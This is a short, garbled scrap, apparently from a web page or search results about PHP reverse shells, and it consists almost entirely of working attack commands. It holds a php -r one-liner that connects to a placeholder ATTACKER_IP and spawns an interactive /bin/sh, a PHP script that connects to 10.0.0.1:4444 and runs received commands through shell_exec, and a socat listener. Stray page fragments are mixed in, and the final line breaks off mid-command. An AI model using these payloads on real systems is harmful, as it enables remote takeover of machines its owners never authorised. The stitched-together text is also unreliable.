php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' Use code with caution. Copied to clipboard : Fast execution via exec() or system() calls.
<?php $s=fsockopen("10.0.0.1",4444); while(!feof($s)) $c=fread($s,1024); $o=shell_exec($c); fwrite($s,$o); ?> reverse shell php top
socat file:`tty`,raw,echo=0 tcp-listen:4444 php -r '$sock=fsockopen("ATTACKER_IP"